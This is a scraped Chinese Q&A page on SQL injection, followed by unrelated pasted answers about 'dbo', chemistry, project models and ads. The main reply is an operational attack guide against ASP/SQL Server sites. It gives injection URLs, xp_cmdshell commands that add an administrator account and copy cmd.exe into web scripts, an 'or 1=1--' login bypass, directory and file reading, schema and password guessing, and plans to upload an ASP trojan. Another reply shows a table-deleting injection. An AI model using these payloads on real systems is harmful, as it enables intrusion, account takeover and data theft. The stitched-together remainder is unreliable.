barriers / 阅读 / 详情

关于SQL注入

2023-06-16 14:57:21
共4条回复
南yi
* 回复内容中包含的链接未经审核,可能存在风险,暂不予完整展示!
<二>SQL注入思路

思路最重要。其实好多人都不知道SQL到底能做什么呢?这里总结一下SQL注入入侵的总体的思路:

1. SQL注入漏洞的判断,即寻找注入点

2. 判断后台数据库类型

3. 确定XP_CMDSHELL可执行情况;若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过几种方法完全控制,也就完成了整个注入过程,否则继续:

1. 发现WEB虚拟目录

2. 上传ASP木马;

3. 得到管理员权限

具体步骤:

一、SQL注入漏洞的判断

如果以前没玩过注入,请把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚,以下以http://www.1*.com/news.asp?id=xx(这个地址是假想的),为例进行分析,xx可能是整型,也有可能是字符串。

1、整型参数的判断

当输入的参数xx为整型时,通常news.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。

最简单的判断方法

http://www.1*.com/news.asp?id=xx"(附加一个单引号),

此时news.asp中的SQL语句变成了

select * from 表名 where 字段=xx",

如果程序没有过滤好“"”的话,就会提示 news.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:

first,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

second,目前大多数程序员已经将“"“ 过滤掉,所以用” "”测试不到注入点,所以一般使用经典的1=1和1=2测试方法,见下文:

http://www.1*.com/news.asp?id=xx and 1=1, news.asp运行正常,

而且与http://www.1*.com/news.asp?id=xx运行结果相同;

http://www.1*.com/news.asp?id=xx and 1=2, news.asp运行异常;(这就是经典的 1=1 1=2 判断方法)

如果以上面满足,news.asp中就会存在SQL注入漏洞,反之则可能不能注入。

2、字符串型参数的判断

方法与数值型参数判断方法基本相同

当输入的参数xx为字符串时,通常news.asp中SQL语句原貌大致如下:

select * from 表名 where 字段="xx",所以可以用以下步骤测试SQL注入是否存在。

http://www.1*.com/news.asp?id=xx"(附加一个单引号),此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx",news.asp运行异常;
http://www.1*.com/news.asp?id=xx and "1"="1", news.asp运行正常,

而且与http://www.1*.com/news.asp?id=xx运行结果相同;

http://www.1*.com/news.asp?id=xx and "1"="2", news.asp运行异常;

如果以上满足,则news.asp存在SQL注入漏洞,反之则不能注入

3、特殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。

①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

③ASCII码法:可以把输入的部分或全部字符全部

<4>出了上述方法以外,还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具,目前最新的版本为2.2

二、判断数据库类型

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.1*.com/news.asp?id=xx;and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。 顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.1*.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
http://www.1*.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.1*.com/news.asp?id=xx是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省

1、http://www.1*.com/news.asp?id=xx and user>;0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

2、http://www.1*.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接的数据库名。

3、http://www.1*.com/news.asp?id=xx;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据
库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

4、http://www.1*.com/news.asp?id=xx;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加
的帐户aaa加到administrators组中。

5、http://www.1*.com/news.asp?id=xx;backuup database 数据库名 to disk="c:inetpubwwwrootsave.db" 则把得到的数据内容
全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

6、通过复制CMD创建UNICODE漏洞

http://www.1*.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:winntsystem32cmd.exe

c:inetpubscriptscmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

这样你就成功的完成了一次SQL注入攻击,先别兴奋,在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ,下面GO ON如果上述条件不成立则需继续奋斗(要挂马了:))

GO ON~!

当上述条件不成立时就要继续下面的步骤

(一)、发现WEB虚拟目录

只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。

一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubwwwroot;

D:inetpubwwwroot; E:inetpubwwwroot等,而可执行虚拟目录是:
c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。

二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;

先创建一个临时表:temp

http://www.1*.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--

接下来:

1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:

http://www.1*.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

我们可以通过查询temp的内容来获得驱动器列表及相关信息

2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中:

http://www.1*.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs "c:";--

3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:

http://www.1*.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";--

这样就可以成功的浏览到所有的目录(文件夹)列表:

如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:

http://www.1*.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell "type c:webindex.asp";--

使用"bulk insert"语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from "c:inetpubwwwrootindex.asp"
浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。

当然,如果xp_cmshell能够执行,我们可以用它来完成:

http://www.1*.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell "dir c:";--
http://www.1*.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell "dir c: *.asp /s/a";--

通过xp_cmdshell我们可以看到所有想看到的,包括W3svc

http://www.1*.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell "cscript
C:InetpubAdminScriptsadsutil.vbs enum w3svc"

但是,如果不是SA权限,我们还可以使用

http://www.1*.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";--

注意:

1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:

http://www.1*.com/news.asp?id=xx;delete from temp;--

2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
http://www.1*.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然news.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则

http://www.1*.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in("xyz"))>0

得到表TEMP中第二条记录id字段的值。

(二)、上传ASP木马

所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:

1、利用WEB的远程管理功能

许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。

因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。

用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

A、 注入法:

从理论上说,认证网页中会有型如:

select * from admin where username="XXX" and password="YYY" 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。

如在用户名文本框内输入:abc" or 1=1-- 在密码框内输入:123 则SQL语句变成:

select * from admin where username="abc" or 1=1 and password="123"

不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

B、猜解法:

基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。

a 猜解所有数据库名称

http://www.1*.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0

因为dbid的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。

以下假设得到的数据库名是TestDB。

b 猜解数据库中用户名表的名称

猜解法:此方法就是根据个人的经验猜表名,一般来说,

user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

http://www.1*.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则news.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。

读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。

当xtype="U" and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:

http://www.1*.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 )>0
得到第一个用户建立表的名称,并与整数进行比较,显然news.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则

http://www.1*.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and
name not in("xyz"))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。

根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。

c 猜解用户名字段及密码字段名称

admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。

猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断

http://www.1*.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”

语句得到表的行数,所以若字段名存在,则news.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。

读取法:基本的实现方法是

http://www.1*.com/news.asp?id=xx and (select top 1 col_name(object_id("admin"),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id("admin"),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然news.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id("admin"),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

d 猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有:

ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

可乐

1.可借助工具,比如使用啊D对特定网站进行注入口探查。

2.用搜索引擎对指定网站进行url特定敏感字符搜索。

3.可尝试“搜索式注入”,很多网站对此处理不严。

未经许可,入侵他人计算机是违法行为。请尽量约束自己的行为!

阿啵呲嘚

sql

注入是指别的代码中通过输入参数

和固定的内容

连接成sql句再来执行的结果。

比如

select

uid,psw

from

tbusers

where

uid

=

"username"

常见的uid

一般用个文本框去输入,比如

txtuid

吧,

如果程序代码用

sql

="select

uid,psw

from

tbusers

where

uid

=

"" + txtuid.text

+

"""

来执行结果,那么,你在输入内容为

"

delete

from

tbuser

--

sql结果是

select

uid,psw

from

tbusers

where

uid

=

""

delete

from

tbuser

--"

前一段执行无结果,后一段删除表记录。

这叫注入。

但现在的程序员都很严密,不让你输入

"

也不让你输入

--

,还有用参数。还有其他。

最后,你无法注入。

综上所述,注在于你的代码在打开对方的程序和网页,之后进行,不是仅IP就行的。

tt白

用“啊D注入工具”搜索,这款工具很强大

dbo.是什么意思

DBO: Database Owner,意思是数据库的所有者.
2023-06-16 14:29:203

sql的表名中的dbo是什么意思

dbo是用户名啊 你点击用户就可以看到有用户名为dbo的用户~~!
2023-06-16 14:29:383

什么是DBO模式

DBO是设计建造运营的简化。DBO模式是一种国际通行的项目建设模式,具有单一责任“功能保证的特点,是支撑污水处理服务专业的典型模式,特别适合于污水厂这样的成套装置的建设。DBO的典型特点之一是单一责任主体比较明确。作为专业化的公司,既要负责设计,也负责后面的建设运营。专业化的公司由于设计和专业制造,可以缩短工期,提高运营效率,工程质量得到保证。此外,还负责运维管理及全生命周期节约成本。 *** 保持足够的掌控力,拥有项目的所有权,然后由我们来建设和运营,通过专业化的设计和综合性的服务可以降低整体的费用。
2023-06-16 14:29:521

dbo有机碱是啥

有机碱的定义是很广泛的,一般情况下,有机碱都含有氮原子,例如胺类化合物和含氮杂环化合物。并不是所有的有机碱都可以被质子化,照广义的酸碱理论来说,有很多物质属于有机碱,醇的碱金属盐类,例如甲醇钠,乙醇钾,叔丁醇钾;有机金属化合物,如烷基锂试剂,格氏试剂;氢氧化季铵盐等。中文名有机碱外文名Organic base定义显碱性的有机化合物例如有机金属试剂,含氮杂环,生物碱有机碱介绍有机碱的定义是很广泛的,一般情况下,可以说有机碱就是就是分子中含有氨基的有机化合物,例如胺类化合物。按照广义的酸碱理论来说,又有很多物质属于有机碱,醇的碱金属盐类,例如甲醇钠,乙醇钾,叔丁醇钾;烷基金属锂化合物,例如丁基锂,苯基锂;胺基锂化合物,例如二异丙基胺基锂(LDA),六甲基二硅胺基锂(LiHMDS);这些有机碱不是普通意义上的碱,与通常我们接触到的碱性质上有显著的差异。凡是能给出电子对的都是碱凡是能接受电子对的都是酸吡啶就是比较常见的有机碱它能与盐酸成盐,叫吡啶盐酸盐生物碱(Alkaloid)为一类含氮的有机化合物,存在于自然界(一般指植物,但有的也存在于动物)。有似碱的性质,所以过去又称为赝碱。大多数生物碱均有复杂的环状结构,氮素多包括在环内,具有光学活性。但也有少数生物碱例外。如麻黄碱是有机胺衍生物,氮原子不在环内;咖啡因虽为含氮的杂环衍生物,但碱性非常弱,或基本上没有碱性;秋水仙碱几乎完全没有碱性,氮原子也不在环内……等。由于它们均来源于植物的含氮有机化合物,而又有明显的生物活性,故仍包括在生物碱的范围内。而有些来源于天然的含氮有机化合物,如某些维生素、氨基酸、肽类,习惯上又不属于“生物碱",所以"生物碱"一词还未有严格而确切的定义。已知生物碱种类很多,约在2,000种以上,有一些结构式还没有完全确定。它们结构比较复杂,可分为59种类型。随着新的生物碱的发现,分类也将随之而更新。分享你的世界我要分享见解,点击发布纠错欠一身债没钱还不想失信影响家人,在保定联系我们帮你停息挂账债务预期协商解决广告明天大胆满仓买入,这5只股票或将涨停,反正不收费,马上测测钱坤证券广告保定 季铵盐消毒液厂家季铵盐消毒液 量大从优关注消毒液的人也在看代工贴牌 产品代理 不含酒店 可随时携带,消字号认证 杀菌消毒 空气气溶胶消杀 100ml可定制河北福赛生物科技发展广告大家还在搜四甲基氢氧化铵四丁基硫酸氢铵十二烷基苯有机碱有哪些高中化学网课火碱价格九年级上册化学视频讲解视频硫氢化钠的用途广告高颜值主播在yy等你!赶快下载和女神互动!相关推荐有机碱_相关词语有机酸具有酸性的有机化合物查看词条强碱分为有机强碱无机强碱查看词条羟基常见的极性基团查看词条生物碱天然有机化合物查看词条无机物不含碳的那部分化合物查看词条官能团原子或原子团查看词条弱酸和强酸相对的酸查看词条酯化反应一类有机化学反应查看词条溶解性不能容纳更多的溶质查看词条非水溶液滴定法水以外溶剂滴定的方法查看词条词条贡献者该词条共有17人参与编辑,查看全部 词条有帮助,感谢贡献者意见反馈权威合作百科协议百度百科是免费编辑平台,无收费代编服务 | 详情Baidu 京ICP证030173号编辑传视频TA说在
2023-06-16 14:30:001

SqlServer中的dbo是什么意思

dbo是一个用户,系统管理员。如何启用DAC功能 专用管理员连接功能以及注意事项1、只有系统管理员(sysadmin)角色相关成员可以使用DAC连接存取SQL Server(Local)本地连接2、一个执行个体只能存在一个DAC。 3、使用DAC通常是让DBA查询和排解SQL Server问题(当无法正常连接执行个体),4、好比执行sp_who2、Kill SPID、DBCC SQLPERF、DBCC DROPCLEANBUFFERS …等,使用DAC连接时,切勿执行需耗费大量资源的命令,如DBCC CHECKDB、DBCC SHRINKDATABASE..等5、使用DAC登录才能修改系统表或者查看系统表,以前SQL2000的时候你可以随便修改系统表,到了SQL2005就开始限制您了
2023-06-16 14:30:101

SqlServer中的dbo是什么意思

SqlServer中的dbo:dbo是每个数据库的默认用户,具有所有者权限,即DbOwner 。
2023-06-16 14:30:171

SqlServer中的dbo是什么意思

方法一1、打开sqlserver管理器,连接进入数据库,然后点击“新建查询”。2、如图,在编辑区输入“select @@version”,然后右键选择“执行”。3、在下方“结果”中可看到所用sqlserver数据库工具的相关信息。如图,可以看到是“Microsoft SQL Server 2005的开发版”,版本号是“9.00.1399.06”,系统是“windows NT 6.1”。方法二1、还有一种方法是在打开的资源管理器中的数据库根节点处右键,然后点击“属性”。2、然后在弹出的“属性”窗口点击“常规”选项,即可看到相关的信息了。方法三在打不开sqlserver时,还可以通过控制面板查看版本信息。(方法:依次点击“开始”→“控制面板”→“卸载程序”,然后找到sqlserver程序就可以查看了)
2023-06-16 14:30:272

化学原料dbo是什么意思

指的是化学试剂对丁氧基苯甲烯。其具有特有的类似茴香的香气,味甜。主要采用醚化缩合法:以对甲苯酚和甲醇为原料,先进行醚化反应,然后与乙醛进行缩合反应而得。也可从茴香、八角茴香及小茴香等天然原料中,分馏提取。
2023-06-16 14:30:361

dbo项目里都有那些设备

配电箱、隔离开关、断路器等。dbo项目的配电箱设备是在低压供电系统末端负责完成电能控制保护、转换和分配的设备,主要由电线、元器件(包括隔离开关、断路器等)及箱体等组成。dbo项目是电商全程性服务。主要包括三个阶段,Design设计策划、Build平台建设、Operate运营辅助。
2023-06-16 14:30:451

在工程项目管理模式中,DBO是经常被人们提及的一种模式,其含义是( )。

【答案】:C知识点:工程项目承发包管理模式。DBO模式下承包商不仅承担工程的设计施工,在移交给业主之前的一段时间内还要负责其所建设工程的运营。
2023-06-16 14:30:551

请问高手,建立数据库表之后,自动带一个[dbo].是什么意思

为什么,查询分析器中的 表名前加一个dbo 前缀答:是你的用户权限所致。如果你用SA登录,查询本服务器里的数据库是不用加DBO的。 另 如果你做跨服务器查询时就要用到DBO。 如 select * from sf11.rayben.dbo.table1 两个特殊数据库用户: dbo,数据库的拥有者,在安装sqlserver时,被设置到model数据库中,不能被删除,所以dbo在每个数据库中都存在。dbo是数据库的最高权力者,对应于创建该数据库的登陆用户,即所有的数据库的dbo都对应于sa帐户; guest,这个用户可以使任何已经登陆到sqlserver服务器的用户都可以访问数据库,即使它还没有成为本数据库的用户。所有的系统数据库除model以外都有guest用户。所有新建的数据库都没有这个用户,如果有必要添加guest用户,请用sp_grantdbaccess来明确建立这个用户。 至于你说的[]是为了区别表和字段与关键字重名。比如name 你就用[name] 便不会与sql的关键字重名了。 至于IDENTITY (1, 1)是自动增长列 数据加一条 该字段加1 Chinese_PRC_CS_AI_WS 前半部份:指UNICODE字符集,Chinese_PRC_指针对大陆简体字UNICODE的排序规则。 排序规则的后半部份即后缀 含义: _BIN 二进制排序 _CI(CS) 是否区分大小写,CI不区分,CS区分 _AI(AS) 是否区分重音,AI不区分,AS区分 _KI(KS) 是否区分假名类型,KI不区分,KS区分 _WI(WS) 是否区分宽度 WI不区分,WS区分 区分大小写:如果想让比较将大写字母和小写字母视为不等,请选择该选项。 区分重音:如果想让比较将重音和非重音字母视为不等,请选择该选项。如果选择该选项, 比较还将重音不同的字母视为不等。 区分假名:如果想让比较将片假名和平假名日语音节视为不等,请选择该选项。 区分宽度:如果想让比较将半角字符和全角字符视为不等,请选择该选项 ON[PRIMARY]表明是放在主文件组里面 主键的意思
2023-06-16 14:31:141

在任何数据库中dbo用户可以删除吗?

在删除SQL Server用户时,有时会报错:Microsoft SQL Server错误: 15138删除对于用户失败,数据库主体在该数据库中拥有架构,无法删除。删除 对于 用户“*****”失败。 (Microsoft.SqlServer.Smo) 。下面将为您介绍两种的解决方法。其他信息:执行 Transact-SQL 语句或批处理时发生了异常。 (Microsoft.SqlServer.ConnectionInfo)解决方法一先删除此用户对应的架构,然后在删除对应的用户步骤1。SQL SERVER MANAGEMENT STUDIO -> 数据库 -> 安全性 -> 构架,先删除对应的构架2。SQL SERVER MANAGEMENT STUDIO -> 数据库 -> 安全性 -> 用户,删除对应的用户
2023-06-16 14:31:211

关于DBO模式的说法,正确的有( )。

【答案】:A、B、D本题考查的是工程项目的承发包管理模式。DBO模式下,责任主体相对单一,比较明确,风险全部转移给DBO的主体,设计、施工、运营三个过程均由一个责任主体来完成。DBO模式也可以优化项目的全寿命周期成本。从时间角度看,DBO合同可以减少不必要的延误,使施工的周期更为合理;从质量角度看,DBO合同可以保证项目质量长期的可靠性;从财务角度看,DBO合同下仅需要承担简单的责任而同时拥有长期的承诺保障。但是,DBO模式责任范围的界定容易引起较多争议,招标的过程也较长,需要专业的咨询公司的介入。参见教材P27。
2023-06-16 14:31:281

sql2005里有.dbo文件,mdf文件,请问他们有什么区别吗?

.dbo文件?sqlserver中,dbo 是具有在数据库中执行所有活动的暗示性权限的用户。是一个用户。.mdf文件。是指的数据库文件,所有的数据都存放在.mdf里面。另外和.mdf文件。对应的,是.ldf文件,数据库日志文件。存放处理数据的相应日志,这个文件可以没有,也能正常打开.mdf文件。希望楼主顺利。
2023-06-16 14:31:371

SQL2005创建表,为什么前面有dbo.+表名?

是所有者默认架构;sa登陆名,对应的数据库用户和默认架构是dbo;系统管理员的默认架构是dbo所以为以上账号建的对象都是有dbo的,可以更改.在安全性里选择登陆名更改
2023-06-16 14:31:463

sqlserver中的表所有者不是dbo怎么改成dbo的

sqlserver中的表所有者不是dbo怎么改成dbo的1:从下面的图片中就可以看出来,当前这个选中的表的所有者是"dxkj",并不是dbo,所以现在要把这个表的所有者改回dbo的,在该表上点击右键,选择“设计”,如下图:2:右键点击表名然后选择设计表,如下图3:在工具
2023-06-16 14:31:541

请问DBO是项目融资的一重方式吗?

DBO是PPP的一种, PPP是英文“Public-Private Partnerships”的简写,中文直译为“公私合伙制”,简言之指公共部门通过与私人部门建立伙伴关系提供公共产品或服务的一种方式。由于PPP与传统的公用事业提供方式相比具有很多优越性,近二十年来,各国或国际组织都争相尝试将PPP的各种模式应用于本国或区域内的基础设施建设。从90年代初期开始,全球PPP项目迅猛增长,并于1997年达到顶峰。伴随1997年亚洲、俄罗斯和巴西经济危机的出现,全球PPP项目有所减少,之后在平稳中又开始逐渐回升。有资料表明,在未来15年内,全球发展中国家大约需要2万亿美元投资于基础设施建设。因此,未来若干年内,全球很可能会出现PPP项目建设的新高潮。常见的PPP分类如下:Operation and Maintenance Contract O&M 经营和维护Design Build DB 设计-建设Design Build Major Maintenance DBMM 设计-建设-主要维护Design Build Operate (Super Turnkey) DBO 设计-建设-经营(超级交钥匙)私人部门除承担DB和DBMM中的所有职能外,还负责经营该基础设施,但整个过程中资产的所有权仍由公共部门保留。Lease Develop Operate LDO 租赁-开发-经营Build Lease Operate Transfer BLOT 建设-租赁-经营-转让Build Transfer Operate BTO 建设-转让-经营Build Own Transfer BOT 建设-拥有-转让Build Own Operate Transfer BOOT 建设-拥有-经营-转让Build Own Operate BOO 建设-拥有-经营Buy Build Operate BBO 购买-建设-经营
2023-06-16 14:32:031

sybase的user 、dbo、alias的区别

从字面意思去理解就可以了。user:使用者,表或者库的使用者一般是多个。dbo:database owner 数据库所有者,一般只有一位。alias:别名。比如一个user叫a,它可以有alias是b,所以,a有的所有的权限b也有。当然,这里的a也可以是指一个组。
2023-06-16 14:32:121

什么是数据库

什么是数据库? 数据库是以某种文件结构存储的一系列信息表,这种文件结构使您能够访问这些表、选择表中的列、对表进行排序以及根据各种标准选择行。数据库通常有多个 索引与这些表中的许多列相关联,所以我们能尽可能快地访问这些表。 以员工记录为例,您可以设想一个含有员工姓名、地址、工资、扣税以及津贴等内容的表。让我们考虑一下这些内容可能如何组织在一起。您可以设想一个表包含员工姓名、地址和电话号码。您希望保存的其它信息可能包括工资、工资范围、上次加薪时间、下次加薪时间、员工业绩评定等内容。 这些内容是否应保存在一个表格中?几乎可以肯定不应该如此。不同类别的员工的工资范围可能没有区别;这样,您可以仅将员工类型储存在员工记录表中,而将工资范围储存在另一个表中,通过类型编号与这个表关联。考虑以下情况: Key Lastname SalaryType SalaryType Min Max 1 Adams 2 1 30000 45000 2 Johnson 1 2 45000 60000 3 Smyth 3 3 60000 75000 4 Tully 1 5 Wolff 2 SalaryType 列中的数据引用第二个表。我们可以想象出许多种这样的表,如用于存储居住城市和每个城市的税值、健康计划扣除金额等的表。每个表都有一个主键列(如上面两个表中最左边的列)和若干数据列。在数据库中建立表格既是一门艺术,也是一门科学。这些表的结构由它们的范式指出。我们通常说表属于1NF、2NF 或 3NF。 第一范式:表中的每个表元应该只有一个值(永远不可能是一个数组)。(1NF) 第二范式:满足 1NF,并且每一个非主键列完全依赖于主键列。这表示主键和该行中的剩余表元之间是 1 对 1 的关系。(2NF) 第三范式:满足 2NF,并且所有非主键列是互相独立的。任何一个数据列中包含的值都不能从其他列的数据计算得到。(3NF) 现在,几乎所有的数据库都是基于“第三范式 (3NF)”创建的。这意味着通常都有相当多的表,每个表中的信息列都相对较少。 从数据库中获取数据 假设我们希望生成一个包含员工及其工资范围的表,在我们设计的一个练习中将使用这个表。这个表格不是直接存在在数据库中,但可以通过向数据库发出一个查询来构建它。我们希望得到如下所示的一个表: Name Min Max Tully $30,000.00 $45,000.00 Johnson $30,000.00 $45,000.00 Wolff $45,000.00 $60,000.00 Adams $45,000.00 $60,000.00 Smyth $60,000.00 $75,000.00 我们发现,获得这些表的查询形式如下所示 SELECT DISTINCTROW Employees.Name, SalaryRanges.Min, SalaryRanges.Max FROM Employees INNER JOIN SalaryRanges ON Employees.SalaryKey = SalaryRanges.SalaryKey ORDER BY SalaryRanges.Min; 这种语言称为结构化查询语言,即 SQL,而且它是几乎目前所有数据库都可以使用的一种语言。SQL-92 标准被认为是一种基础标准,而且已更新多次。 数据库的种类 PC 上的数据库,如 dBase、Borland Paradox、Microsoft Access 和 FoxBase。 数据库服务器:IBM DB/2、Microsoft SQL Server、 Oracle、Sybase、SQLBase 和 XDB。 所有这些数据库产品都支持多种相对类似的 SQL 方言,因此,所有数据库最初看起来好象可以互换。每种数据库都有不同的性能特征,而且每一种都有不同的用户界面和编程接口。 ODBC 